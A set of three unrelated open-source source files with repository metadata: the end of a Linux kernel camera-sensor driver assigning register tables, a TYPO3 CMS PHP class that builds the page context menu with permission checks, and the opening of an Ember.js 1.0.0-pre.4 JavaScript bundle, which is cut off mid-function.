sr200pc20m_preview_size_720x480_regs; sensor->rows_num_preview_size_720x480_regs = ARRAY_SIZE(sr200pc20m_preview_size_720x480_regs); sensor->preview_size_800x480_regs = sr200pc20m_preview_size_800x480_regs; sensor->rows_num_preview_size_800x480_regs = ARRAY_SIZE(sr200pc20m_preview_size_800x480_regs); sensor->preview_size_800x600_regs = sr200pc20m_preview_size_800x600_regs; sensor->rows_num_preview_size_800x600_regs = ARRAY_SIZE(sr200pc20m_preview_size_800x600_regs); sensor->preview_size_1024x600_regs = sr200pc20m_preview_size_1024x600_regs; sensor->rows_num_preview_size_1024x600_regs = ARRAY_SIZE(sr200pc20m_preview_size_1024x600_regs); sensor->preview_size_1024x768_regs = sr200pc20m_preview_size_1024x768_regs; sensor->rows_num_preview_size_1024x768_regs = ARRAY_SIZE(sr200pc20m_preview_size_1024x768_regs); sensor->preview_size_1280x960_regs = sr200pc20m_preview_size_1280x960_regs; sensor->rows_num_preview_size_1280x960_regs = ARRAY_SIZE(sr200pc20m_preview_size_1280x960_regs); sensor->preview_size_1600x960_regs = sr200pc20m_preview_size_1600x960_regs; sensor->rows_num_preview_size_1600x960_regs = ARRAY_SIZE(sr200pc20m_preview_size_1600x960_regs); sensor->preview_size_1600x1200_regs = sr200pc20m_preview_size_1600x1200_regs; sensor->rows_num_preview_size_1600x1200_regs = ARRAY_SIZE(sr200pc20m_preview_size_1600x1200_regs); sensor->preview_size_2048x1232_regs = sr200pc20m_preview_size_2048x1232_regs; sensor->rows_num_preview_size_2048x1232_regs = ARRAY_SIZE(sr200pc20m_preview_size_2048x1232_regs); sensor->preview_size_2048x1536_regs = sr200pc20m_preview_size_2048x1536_regs; sensor->rows_num_preview_size_2048x1536_regs = ARRAY_SIZE(sr200pc20m_preview_size_2048x1536_regs); sensor->preview_size_2560x1920_regs = sr200pc20m_preview_size_2560x1920_regs; sensor->rows_num_preview_size_2560x1920_regs = ARRAY_SIZE(sr200pc20m_preview_size_2560x1920_regs); /*Capture size */ sensor->capture_size_640x480_regs = sr200pc20m_capture_size_640x480_regs; sensor->rows_num_capture_size_640x480_regs = ARRAY_SIZE(sr200pc20m_capture_size_640x480_regs); sensor->capture_size_720x480_regs = sr200pc20m_capture_size_720x480_regs; sensor->rows_num_capture_size_720x480_regs = ARRAY_SIZE(sr200pc20m_capture_size_720x480_regs); sensor->capture_size_800x480_regs = sr200pc20m_capture_size_800x480_regs; sensor->rows_num_capture_size_800x480_regs = ARRAY_SIZE(sr200pc20m_capture_size_800x480_regs); sensor->capture_size_800x486_regs = sr200pc20m_capture_size_800x486_regs; sensor->rows_num_capture_size_800x486_regs = ARRAY_SIZE(sr200pc20m_capture_size_800x486_regs); sensor->capture_size_800x600_regs = sr200pc20m_capture_size_800x600_regs; sensor->rows_num_capture_size_800x600_regs = ARRAY_SIZE(sr200pc20m_capture_size_800x600_regs); sensor->capture_size_1024x600_regs = sr200pc20m_capture_size_1024x600_regs; sensor->rows_num_capture_size_1024x600_regs = ARRAY_SIZE(sr200pc20m_capture_size_1024x600_regs); sensor->capture_size_1024x768_regs = sr200pc20m_capture_size_1024x768_regs; sensor->rows_num_capture_size_1024x768_regs = ARRAY_SIZE(sr200pc20m_capture_size_1024x768_regs); sensor->capture_size_1280x960_regs = sr200pc20m_capture_size_1280x960_regs; sensor->rows_num_capture_size_1280x960_regs = ARRAY_SIZE(sr200pc20m_capture_size_1280x960_regs); sensor->capture_size_1600x960_regs = sr200pc20m_capture_size_1600x960_regs; sensor->rows_num_capture_size_1600x960_regs = ARRAY_SIZE(sr200pc20m_capture_size_1600x960_regs); sensor->capture_size_1600x1200_regs = sr200pc20m_capture_size_1600x1200_regs; sensor->rows_num_capture_size_1600x1200_regs = ARRAY_SIZE(sr200pc20m_capture_size_1600x1200_regs); sensor->capture_size_2048x1232_regs = sr200pc20m_capture_size_2048x1232_regs; sensor->rows_num_capture_size_2048x1232_regs = ARRAY_SIZE(sr200pc20m_capture_size_2048x1232_regs); sensor->capture_size_2048x1536_regs = sr200pc20m_capture_size_2048x1536_regs; sensor->rows_num_capture_size_2048x1536_regs = ARRAY_SIZE(sr200pc20m_capture_size_2048x1536_regs); sensor->capture_size_2560x1536_regs = sr200pc20m_capture_size_2560x1536_regs; sensor->rows_num_capture_size_2560x1536_regs = ARRAY_SIZE(sr200pc20m_capture_size_2560x1536_regs); sensor->capture_size_2560x1920_regs = sr200pc20m_capture_size_2560x1920_regs; sensor->rows_num_capture_size_2560x1920_regs = ARRAY_SIZE(sr200pc20m_capture_size_2560x1920_regs); /*pattern*/ sensor->pattern_on_regs = sr200pc20m_pattern_on_regs; sensor->rows_num_pattern_on_regs = ARRAY_SIZE(sr200pc20m_pattern_on_regs); sensor->pattern_off_regs = sr200pc20m_pattern_off_regs; sensor->rows_num_pattern_off_regs = ARRAY_SIZE(sr200pc20m_pattern_off_regs); /*AE*/ sensor->ae_lock_regs = sr200pc20m_ae_lock_regs; sensor->rows_num_ae_lock_regs = ARRAY_SIZE(sr200pc20m_ae_lock_regs); sensor->ae_unlock_regs = sr200pc20m_ae_unlock_regs; sensor->rows_num_ae_unlock_regs = ARRAY_SIZE(sr200pc20m_ae_unlock_regs); /*AWB*/ sensor->awb_lock_regs = sr200pc20m_awb_lock_regs; sensor->rows_num_awb_lock_regs = ARRAY_SIZE(sr200pc20m_awb_lock_regs); sensor->awb_unlock_regs = sr200pc20m_awb_unlock_regs; sensor->rows_num_awb_unlock_regs = ARRAY_SIZE(sr200pc20m_awb_unlock_regs); //ISO// sensor->iso_auto_regs = sr200pc20m_iso_auto_regs; sensor->rows_num_iso_auto_regs = ARRAY_SIZE(sr200pc20m_iso_auto_regs); sensor->iso_50_regs = sr200pc20m_iso_50_regs; sensor->rows_num_iso_50_regs = ARRAY_SIZE(sr200pc20m_iso_50_regs); sensor->iso_100_regs = sr200pc20m_iso_100_regs; sensor->rows_num_iso_100_regs = ARRAY_SIZE(sr200pc20m_iso_100_regs); sensor->iso_200_regs = sr200pc20m_iso_200_regs; sensor->rows_num_iso_200_regs = ARRAY_SIZE(sr200pc20m_iso_200_regs); sensor->iso_400_regs = sr200pc20m_iso_400_regs; sensor->rows_num_iso_400_regs = ARRAY_SIZE(sr200pc20m_iso_400_regs); return true; };
Alonso1398/muZic_kernel_ivoryss
drivers/media/video/camdrv_ss_sr200pc20m.c
C
gpl-2.0
79,654
<?php declare(strict_types=1); namespace TYPO3\CMS\Backend\ContextMenu\ItemProviders; /* * This file is part of the TYPO3 CMS project. * * It is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License, either version 2 * of the License, or any later version. * * For the full copyright and license information, please read the * LICENSE.txt file that was distributed with this source code. * * The TYPO3 project - inspiring people to share! */ use TYPO3\CMS\Core\Type\Bitmask\Permission; /** * Context menu item provider for pages table */ class PageProvider extends RecordProvider { /** * @var string */ protected $table = 'pages'; /** * @var array */ protected $itemsConfiguration = [ 'view' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.view', 'iconIdentifier' => 'actions-document-view', 'callbackAction' => 'viewRecord' ], 'edit' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.edit', 'iconIdentifier' => 'actions-page-open', 'callbackAction' => 'editRecord' ], 'new' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.new', 'iconIdentifier' => 'actions-document-new', 'callbackAction' => 'newRecord' ], 'info' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.info', 'iconIdentifier' => 'actions-document-info', 'callbackAction' => 'openInfoPopUp' ], 'divider1' => [ 'type' => 'divider' ], 'copy' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.copy', 'iconIdentifier' => 'actions-edit-copy', 'callbackAction' => 'copy' ], 'copyRelease' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.copy', 'iconIdentifier' => 'actions-edit-copy-release', 'callbackAction' => 'clipboardRelease' ], 'cut' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.cut', 'iconIdentifier' => 'actions-edit-cut', 'callbackAction' => 'cut' ], 'cutRelease' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.cut', 'iconIdentifier' => 'actions-edit-cut-release', 'callbackAction' => 'clipboardRelease' ], 'pasteAfter' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.pasteafter', 'iconIdentifier' => 'actions-document-paste-after', 'callbackAction' => 'pasteAfter' ], 'pasteInto' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.pasteinto', 'iconIdentifier' => 'actions-document-paste-into', 'callbackAction' => 'pasteInto' ], 'divider2' => [ 'type' => 'divider' ], 'more' => [ 'type' => 'submenu', 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.more', 'iconIdentifier' => '', 'callbackAction' => 'openSubmenu', 'childItems' => [ 'newWizard' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_misc.xlf:CM_newWizard', 'iconIdentifier' => 'actions-page-new', 'callbackAction' => 'newPageWizard', ], 'openListModule' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_misc.xlf:CM_db_list', 'iconIdentifier' => 'actions-system-list-open', 'callbackAction' => 'openListModule', ], 'mountAsTreeRoot' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.tempMountPoint', 'iconIdentifier' => 'actions-pagetree-mountroot', 'callbackAction' => 'mountAsTreeRoot', ], ], ], 'divider3' => [ 'type' => 'divider' ], 'enable' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_common.xlf:enable', 'iconIdentifier' => 'actions-edit-unhide', 'callbackAction' => 'enableRecord', ], 'disable' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_common.xlf:disable', 'iconIdentifier' => 'actions-edit-hide', 'callbackAction' => 'disableRecord', ], 'delete' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:cm.delete', 'iconIdentifier' => 'actions-edit-delete', 'callbackAction' => 'deleteRecord', ], 'history' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_misc.xlf:CM_history', 'iconIdentifier' => 'actions-document-history-open', 'callbackAction' => 'openHistoryPopUp', ], 'clearCache' => [ 'label' => 'LLL:EXT:lang/Resources/Private/Language/locallang_core.xlf:labels.clear_cache', 'iconIdentifier' => 'actions-system-cache-clear', 'callbackAction' => 'clearCache', ], ]; /** * Checks if the provider can add items to the menu * * @return bool */ public function canHandle(): bool { return $this->table === 'pages'; } /** * @return int */ public function getPriority(): int { return 100; } /** * @param string $itemName * @param string $type * @return bool */ protected function canRender(string $itemName, string $type): bool { if (in_array($type, ['divider', 'submenu'], true)) { return true; } if (in_array($itemName, $this->disabledItems, true)) { return false; } $canRender = false; switch ($itemName) { case 'view': $canRender = $this->canBeViewed(); break; case 'edit': $canRender = $this->canBeEdited(); break; case 'new': case 'newWizard': $canRender = $this->canBeCreated(); break; case 'info': $canRender = $this->canShowInfo(); break; case 'enable': $canRender = $this->canBeEnabled(); break; case 'disable': $canRender = $this->canBeDisabled(); break; case 'delete': $canRender = $this->canBeDeleted(); break; case 'history': $canRender = $this->canShowHistory(); break; case 'openListModule': $canRender = $this->canOpenListModule(); break; case 'mountAsTreeRoot': $canRender = !$this->isRoot(); break; case 'copy': $canRender = $this->canBeCopied(); break; case 'copyRelease': $canRender = $this->isRecordInClipboard('copy'); break; case 'cut': $canRender = $this->canBeCut(); break; case 'cutRelease': $canRender = $this->isRecordInClipboard('cut'); break; case 'pasteAfter': $canRender = $this->canBePastedAfter(); break; case 'pasteInto': $canRender = $this->canBePastedInto(); break; case 'clearCache': $canRender = $this->canClearCache(); break; } return $canRender; } /** * Saves calculated permissions for a page to speed things up */ protected function initPermissions() { $this->pagePermissions = $this->backendUser->calcPerms($this->record); } /** * Checks if the user may create pages below the given page * * @return bool */ protected function canBeCreated(): bool { return $this->hasPagePermission(Permission::PAGE_NEW); } /** * Checks if the user has editing rights * * @return bool */ protected function canBeEdited(): bool { if ($this->isRoot()) { return false; } if (isset($GLOBALS['TCA'][$this->table]['ctrl']['readOnly']) && $GLOBALS['TCA'][$this->table]['ctrl']['readOnly']) { return false; } if ($this->backendUser->isAdmin()) { return true; } if (isset($GLOBALS['TCA'][$this->table]['ctrl']['adminOnly']) && $GLOBALS['TCA'][$this->table]['ctrl']['adminOnly']) { return false; } return !$this->isRecordLocked() && $this->hasPagePermission(Permission::PAGE_EDIT); } /** * Check if a page is locked * * @return bool */ protected function isRecordLocked(): bool { return (bool)$this->record['editlock']; } /** * Checks if the page is allowed to can be cut * * @return bool */ protected function canBeCut(): bool { return !$this->isWebMount() && $this->canBeEdited() && !$this->isDeletePlaceholder(); } /** * Checks if the page is allowed to be copied * * @return bool */ protected function canBeCopied(): bool { return !$this->isRoot() && !$this->isWebMount() && !$this->isRecordInClipboard('copy') && $this->hasPagePermission(Permission::PAGE_SHOW) && !$this->isDeletePlaceholder(); } /** * Checks if something can be pasted into the node * * @return bool */ protected function canBePastedInto(): bool { $clipboardElementCount = count($this->clipboard->elFromTable($this->table)); return $clipboardElementCount && $this->canBeCreated() && !$this->isDeletePlaceholder(); } /** * Checks if something can be pasted after the node * * @return bool */ protected function canBePastedAfter(): bool { $clipboardElementCount = count($this->clipboard->elFromTable($this->table)); return $clipboardElementCount && $this->canBeCreated() && !$this->isDeletePlaceholder(); } /** * Checks if the page is allowed to be removed * * @return bool */ protected function canBeRemoved(): bool { return !$this->isDeletePlaceholder() && !$this->isRecordLocked() && $this->hasPagePermission(Permission::PAGE_DELETE); } /** * Checks if the page is allowed to be viewed in frontend * * @return bool */ protected function canBeViewed(): bool { return !$this->isRoot() && !$this->isDeleted(); } /** * Checks if the page is allowed to show info * * @return bool */ protected function canShowInfo(): bool { return !$this->isRoot(); } /** * Checks if the user has clear cache rights * * @return bool */ protected function canClearCache(): bool { return !$this->isRoot() && ($this->backendUser->isAdmin() || $this->backendUser->getTSConfigVal('options.clearCache.pages')); } /** * Determines whether this node is deleted. * * @return bool */ protected function isDeleted(): bool { return !empty($this->record['deleted']) || $this->isDeletePlaceholder(); } /** * Returns true if current record is a root page * * @return bool */ protected function isRoot() { return (int)$this->identifier === 0; } /** * Returns true if current record is a web mount * * @return bool */ protected function isWebMount() { return in_array($this->identifier, $this->backendUser->returnWebmounts()); } /** * @param string $itemName * @return array */ protected function getAdditionalAttributes(string $itemName): array { $attributes = []; if ($itemName === 'view') { $attributes += $this->getViewAdditionalAttributes(); } if ($itemName === 'delete') { $attributes += $this->getDeleteAdditionalAttributes(); } if ($itemName === 'pasteInto') { $attributes += $this->getPasteAdditionalAttributes('into'); } if ($itemName === 'pasteAfter') { $attributes += $this->getPasteAdditionalAttributes('after'); } return $attributes; } /** * @return int */ protected function getPreviewPid(): int { return (int)$this->record['uid']; } }
ksjogo/TYPO3.CMS
typo3/sysext/backend/Classes/ContextMenu/ItemProviders/PageProvider.php
PHP
gpl-2.0
13,370
(function() { var define, requireModule; (function() { var registry = {}, seen = {}; define = function(name, deps, callback) { registry[name] = { deps: deps, callback: callback }; }; requireModule = function(name) { if (seen[name]) { return seen[name]; } seen[name] = {}; var mod = registry[name], deps = mod.deps, callback = mod.callback, reified = [], exports; for (var i=0, l=deps.length; i<l; i++) { if (deps[i] === 'exports') { reified.push(exports = {}); } else { reified.push(requireModule(deps[i])); } } var value = callback.apply(this, reified); return seen[name] = exports || value; }; })(); (function() { /*globals Em:true ENV */ /** @module ember @submodule ember-metal */ /** All Ember methods and functions are defined inside of this namespace. You generally should not add new properties to this namespace as it may be overwritten by future versions of Ember. You can also use the shorthand `Em` instead of `Ember`. Ember-Runtime is a framework that provides core functions for Ember including cross-platform functions, support for property observing and objects. Its focus is on small size and performance. You can use this in place of or along-side other cross-platform libraries such as jQuery. The core Runtime framework is based on the jQuery API with a number of performance optimizations. @class Ember @static @version 1.0.0-pre.4 */ if ('undefined' === typeof Ember) { // Create core object. Make it act like an instance of Ember.Namespace so that // objects assigned to it are given a sane string representation. Ember = {}; } // Default imports, exports and lookup to the global object; var imports = Ember.imports = Ember.imports || this; var exports = Ember.exports = Ember.exports || this; var lookup = Ember.lookup = Ember.lookup || this; // aliases needed to keep minifiers from removing the global context exports.Em = exports.Ember = Em = Ember; // Make sure these are set whether Ember was already defined or not Ember.isNamespace = true; Ember.toString = function() { return "Ember"; }; /** @property VERSION @type String @default '1.0.0-pre.4' @final */ Ember.VERSION = '1.0.0-pre.4'; /** Standard environmental variables. You can define these in a global `ENV` variable before loading Ember to control various configuration settings. @property ENV @type Hash */ Ember.ENV = Ember.ENV || ('undefined' === typeof ENV ? {} : ENV); Ember.config = Ember.config || {}; // .......................................................... // BOOTSTRAP // /** Determines whether Ember should enhances some built-in object prototypes to provide a more friendly API. If enabled, a few methods will be added to `Function`, `String`, and `Array`. `Object.prototype` will not be enhanced, which is the one that causes most trouble for people. In general we recommend leaving this option set to true since it rarely conflicts with other code. If you need to turn it off however, you can define an `ENV.EXTEND_PROTOTYPES` config to disable it. @property EXTEND_PROTOTYPES @type Boolean @default true */ Ember.EXTEND_PROTOTYPES = Ember.ENV.EXTEND_PROTOTYPES; if (typeof Ember.EXTEND_PROTOTYPES === 'undefined') { Ember.EXTEND_PROTOTYPES = true; } /** Determines whether Ember logs a full stack trace during deprecation warnings @property LOG_STACKTRACE_ON_DEPRECATION @type Boolean @default true */ Ember.LOG_STACKTRACE_ON_DEPRECATION = (Ember.ENV.LOG_STACKTRACE_ON_DEPRECATION !== false); /** Determines whether Ember should add ECMAScript 5 shims to older browsers. @property SHIM_ES5 @type Boolean @default Ember.EXTEND_PROTOTYPES */ Ember.SHIM_ES5 = (Ember.ENV.SHIM_ES5 === false) ? false : Ember.EXTEND_PROTOTYPES; /** Empty function. Useful for some operations. @method K @private @return {Object} */ Ember.K = function() { return this; }; // Stub out the methods defined by the ember-debug package in case it's not loaded if ('undefined' === typeof Ember.assert) { Ember.assert = Ember.K; } if ('undefined' === typeof Ember.warn) { Ember.warn = Ember.K; } if ('undefined' === typeof Ember.debug) { Ember.debug = Ember.K; } if ('undefined' === typeof Ember.deprecate) { Ember.deprecate = Ember.K; } if ('undefined' === typeof Ember.deprecateFunc) { Ember.deprecateFunc = function(_, func) { return func; }; } /** Previously we used `Ember.$.uuid`, however `$.uuid` has been removed from jQuery master. We'll just bootstrap our own uuid now. @property uuid @type Number @private */ Ember.uuid = 0; // .......................................................... // LOGGER // function consoleMethod(name) { if (imports.console && imports.console[name]) { // Older IE doesn't support apply, but Chrome needs it if (imports.console[name].apply) { return function() { imports.console[name].apply(imports.console, arguments); }; } else { return function() { var message = Array.prototype.join.call(arguments, ', '); imports.console[name](message); }; } } } /** Inside Ember-Metal, simply uses the methods from `imports.console`. Override this to provide more robust logging functionality. @class Logger @namespace Ember */ Ember.Logger = { log: consoleMethod('log') || Ember.K, warn: consoleMethod('warn') || Ember.K, error: consoleMethod('error') || Ember.K, info: consoleMethod('info') || Ember.K, debug: consoleMethod('debug') || consoleMethod('info') || Ember.K }; // .......................................................... // ERROR HANDLING // /** A function may be assigned to `Ember.onerror` to be called when Ember internals encounter an error. This is useful for specialized error handling and reporting code. @event onerror @for Ember @param {Exception} error the error object */ Ember.onerror = null; /** @private Wrap code block in a try/catch if {{#crossLink "Ember/onerror"}}{{/crossLink}} is set. @method handleErrors @for Ember @param {Function} func @param [context] */ Ember.handleErrors = function(func, context) { // Unfortunately in some browsers we lose the backtrace if we rethrow the existing error, // so in the event that we don't have an `onerror` handler we don't wrap in a try/catch if ('function' === typeof Ember.onerror) { try { return func.apply(context || this); } catch (error) { Ember.onerror(error); } } else { return func.apply(context || this); } }; Ember.merge = function(original, updates) { for (var prop in updates) { if (!updates.hasOwnProperty(prop)) { continue; } original[prop] = updates[prop]; } }; })(); (function() { /*globals Node */ /** @module ember-metal */ /** Platform specific methods and feature detectors needed by the framework. @class platform @namespace Ember @static */ var platform = Ember.platform = {}; /** Identical to `Object.create()`. Implements if not available natively. @method create @for Ember */ Ember.create = Object.create; // STUB_OBJECT_CREATE allows us to override other libraries that stub // Object.create different than we would prefer if (!Ember.create || Ember.ENV.STUB_OBJECT_CREATE) { var K = function() {}; Ember.create = function(obj, props) { K.prototype = obj; obj = new K(); if (props) { K.prototype = obj; for (var prop in props) { K.prototype[prop] = props[prop].value; } obj = new K(); } K.prototype = null; return obj; }; Ember.create.isSimulated = true; } var defineProperty = Object.defineProperty; var canRedefineProperties, canDefinePropertyOnDOM; // Catch IE8 where Object.defineProperty exists but only works on DOM elements if (defineProperty) { try { defineProperty({}, 'a',{get:function(){}}); } catch (e) { defineProperty = null; } } if (defineProperty) { // Detects a bug in Android <3.2 where you cannot redefine a property using // Object.defineProperty once accessors have already been set. canRedefineProperties = (function() { var obj = {}; defineProperty(obj, 'a', { configurable: true, enumerable: true, get: function() { }, set: function() { } }); defineProperty(obj, 'a', { configurable: true, enumerable: true, writable: true, value: true }); return obj.a === true; })(); // This is for Safari 5.0, which supports Object.defineProperty, but not // on DOM nodes. canDefinePropertyOnDOM = (function(){ try { defineProperty(document.createElement('div'), 'definePropertyOnDOM', {}); return true; } catch(e) { } return false; })(); if (!canRedefineProperties) { defineProperty = null; } else if (!canDefinePropertyOnDOM) { defineProperty = function(obj, keyName, desc){ var isNode; if (typeof Node === "object") { isNode = obj instanceof Node; } else { isNode = typeof obj === "object" && typeof obj.nodeType === "number" && typeof obj.nodeName === "string"; } if (isNode) { // TODO: Should we have a warning here? return (obj[keyName] = desc.value); } else { return Object.defineProperty(obj, keyName, desc); } }; } } /** @class platform @namespace Ember */ /** Identical to `Object.defineProperty()`. Implements as much functionality as possible if not available natively. @method defineProperty @param {Object} obj The object to modify @param {String} keyName property name to modify @param {Object} desc descriptor hash @return {void} */ platform.defineProperty = defineProperty; /** Set to true if the platform supports native getters and setters. @property hasPropertyAccessors @final */ platform.hasPropertyAccessors = true; if (!platform.defineProperty) { platform.hasPropertyAccessors = false; platform.defineProperty = function(obj, keyName, desc) { if (!desc.get) { obj[keyName] = desc.value; } }; platform.defineProperty.isSimulated = true; } if (Ember.ENV.MANDATORY_SETTER && !platform.hasPropertyAccessors) { Ember.ENV.MANDATORY_SETTER = false; } })(); (function() { /** @module ember-metal */ var o_defineProperty = Ember.platform.defineProperty, o_create = Ember.create, // Used for guid generation... GUID_KEY = '__ember'+ (+ new Date()), uuid = 0, numberCache = [], stringCache = {}; var MANDATORY_SETTER = Ember.ENV.MANDATORY_SETTER; /** @private A unique key used to assign guids and other private metadata to objects. If you inspect an object in your browser debugger you will often see these. They can be safely ignored. On browsers that support it, these properties are added with enumeration disabled so they won't show up when you iterate over your properties. @property GUID_KEY @for Ember @type String @final */ Ember.GUID_KEY = GUID_KEY; var GUID_DESC = { writable: false, configurable: false, enumerable: false, value: null }; /** @private Generates a new guid, optionally saving the guid to the object that you pass in. You will rarely need to use this method. Instead you should call `Ember.guidFor(obj)`, which return an existing guid if available. @method generateGuid @for Ember @param {Object} [obj] Object the guid will be used for. If passed in, the guid will be saved on the object and reused whenever you pass the same object again. If no object is passed, just generate a new guid. @param {String} [prefix] Prefix to place in front of the guid. Useful when you want to separate the guid into separate namespaces. @return {String} the guid */ Ember.generateGuid = function generateGuid(obj, prefix) { if (!prefix) prefix = 'ember'; var ret = (prefix + (uuid++)); if (obj) { GUID_DESC.value = ret; o_defineProperty(obj, GUID_KEY, GUID_DESC); } return ret ; }; /** @private Returns a unique id for the object. If the object does not yet have a guid, one will be assigned to it. You can call this on any object, `Ember.Object`-based or not, but be aware that it will add a `_guid` property. You can also use this method on DOM Element objects. @method guidFor @for Ember @param obj {Object} any object, string, number, Element, or primitive @return {String} the unique guid for this instance. */ Ember.guidFor = function guidFor(obj) { // special cases where we don't want to add a key to object if (obj === undefined) return "(undefined)"; if (obj === null) return "(null)"; var cache, ret; var type = typeof obj; // Don't allow prototype changes to String etc. to change the guidFor switch(type) { case 'number': ret = numberCache[obj]; if (!ret) ret = numberCache[obj] = 'nu'+obj; return ret; case 'string': ret = stringCache[obj]; if (!ret) ret = stringCache[obj] = 'st'+(uuid++); return ret; case 'boolean': return obj ? '(true)' : '(false)'; default: if (obj[GUID_KEY]) return obj[GUID_KEY]; if (obj === Object) return '(Object)'; if (obj === Array) return '(Array)'; ret = 'ember'+(uuid++); GUID_DESC.value = ret; o_defineProperty(obj, GUID_KEY, GUID_DESC); return ret; } }; // .......................................................... // META // var META_DESC = { writable: true, configurable: false, enumerable: false, value: null }; var META_KEY = Ember.GUID_KEY+'_meta'; /** The key used to store meta information on object for property observing. @property META_KEY @for Ember @private @final @type String */ Ember.META_KEY = META_KEY; // Placeholder for non-writable metas. var EMPTY_META = { descs: {}, watching: {} }; if (MANDATORY_SETTER) { EMPTY_META.values = {}; } Ember.EMPTY_META = EMPTY_META; if (Object.freeze) Object.freeze(EMPTY_META); var isDefinePropertySimulated = Ember.platform.defineProperty.isSimulated; function Meta(obj) { this.descs = {}; this.watching = {}; this.cache = {}; this.source = obj; } if (isDefinePropertySimulated) { // on platforms that don't support enumerable false // make meta fail jQuery.isPlainObject() to hide from // jQuery.extend() by having a property that fails // hasOwnProperty check. Meta.prototype.__preventPlainObject__ = true; // Without non-enumerable properties, meta objects will be output in JSON // unless explicitly suppressed Meta.prototype.toJSON = function () { }; } /** Retrieves the meta hash for an object. If `writable` is true ensures the hash is writable for this object as well. The meta object contains information about computed property descriptors as well as any watched properties and other information. You generally will not access this information directly but instead work with higher level methods that manipulate this hash indirectly. @method meta @for Ember @private @param {Object} obj The object to retrieve meta for @param {Boolean} [writable=true] Pass `false` if you do not intend to modify the meta hash, allowing the method to avoid making an unnecessary copy. @return {Hash} */ Ember.meta = function meta(obj, writable) { var ret = obj[META_KEY]; if (writable===false) return ret || EMPTY_META; if (!ret) { if (!isDefinePropertySimulated) o_defineProperty(obj, META_KEY, META_DESC); ret = new Meta(obj); if (MANDATORY_SETTER) { ret.values = {}; } obj[META_KEY] = ret; // make sure we don't accidentally try to create constructor like desc ret.descs.constructor = null; } else if (ret.source !== obj) { if (!isDefinePropertySimulated) o_defineProperty(obj, META_KEY, META_DESC); ret = o_create(ret); ret.descs = o_create(ret.descs); ret.watching = o_create(ret.watching); ret.cache = {}; ret.source = obj; if (MANDATORY_SETTER) { ret.values = o_create(ret.values); } obj[META_KEY] = ret; } return ret; }; Ember.getMeta = function getMeta(obj, property) { var meta = Ember.meta(obj, false); return meta[property]; }; Ember.setMeta = function setMeta(obj, property, value) { var meta = Ember.meta(obj, true); meta[property] = value; return value; }; /** @private In order to store defaults for a class, a prototype may need to create a default meta object, which will be inherited by any objects instantiated from the class's constructor. However, the properties of that meta object are only shallow-cloned, so if a property is a hash (like the event system's `listeners` hash), it will by default be shared across all instances of that class. This method allows extensions to deeply clone a series of nested hashes or other complex objects. For instance, the event system might pass `['listeners', 'foo:change', 'ember157']` to `prepareMetaPath`, which will walk down the keys provided. For each key, if the key does not exist, it is created. If it already exists and it was inherited from its constructor, the constructor's key is cloned. You can also pass false for `writable`, which will simply return undefined if `prepareMetaPath` discovers any part of the path that shared or undefined. @method metaPath @for Ember @param {Object} obj The object whose meta we are examining @param {Array} path An array of keys to walk down @param {Boolean} writable whether or not to create a new meta (or meta property) if one does not already exist or if it's shared with its constructor */ Ember.metaPath = function metaPath(obj, path, writable) { var meta = Ember.meta(obj, writable), keyName, value; for (var i=0, l=path.length; i<l; i++) { keyName = path[i]; value = meta[keyName]; if (!value) { if (!writable) { return undefined; } value = meta[keyName] = { __ember_source__: obj }; } else if (value.__ember_source__ !== obj) { if (!writable) { return undefined; } value = meta[keyName] = o_create(value); value.__ember_source__ = obj; } meta = value; } return value; }; /** @private Wraps the passed function so that `this._super` will point to the superFunc when the function is invoked. This is the primitive we use to implement calls to super. @method wrap @for Ember @param {Function} func The function to call @param {Function} superFunc The super function. @return {Function} wrapped function. */ Ember.wrap = function(func, superFunc) { function K() {} function superWrapper() { var ret, sup = this._super; this._super = superFunc || K; ret = func.apply(this, arguments); this._super = sup; return ret; } superWrapper.wrappedFunction = func; superWrapper.__ember_observes__ = func.__ember_observes__; superWrapper.__ember_observesBefore__ = func.__ember_observesBefore__; return superWrapper; }; /** Returns true if the passed object is an array or Array-like. Ember Array Protocol: - the object has an objectAt property - the object is a native Array - the object is an Object, and has a length property Unlike `Ember.typeOf` this method returns true even if the passed object is not formally array but appears to be array-like (i.e. implements `Ember.Array`) ```javascript Ember.isArray(); // false Ember.isArray([]); // true Ember.isArray( Ember.ArrayProxy.create({ content: [] }) ); // true ``` @method isArray @for Ember @param {Object} obj The object to test @return {Boolean} */ Ember.isArray = function(obj) { if (!obj || obj.setInterval) { return false; } if (Array.isArray && Array.isArray(obj)) { return true; } if (Ember.Array && Ember.Array.detect(obj)) { return true; } if ((obj.length !== undefined) && 'object'===typeof obj) { return true; } return false; }; /** Forces the passed object to be part of an array. If the object is already an array or array-like, returns the object. Otherwise adds the object to an array. If obj is `null` or `undefined`, returns an empty array. ```javascript Ember.makeArray(); // [] Ember.makeArray(null); // [] Ember.makeArray(undefined); // [] Ember.makeArray('lindsay'); // ['lindsay'] Ember.makeArray([1,2,42]); // [1,2,42] var controller = Ember.ArrayProxy.create({ content: [] }); Ember.makeArray(controller) === controller; // true ``` @method makeArray @for Ember @param {Object} obj the object @return {Array} */ Ember.makeArray = function(obj) { if (obj === null || obj === undefined) { return []; } return Ember.isArray(obj) ? obj : [obj]; }; function canInvoke(obj, methodName) { return 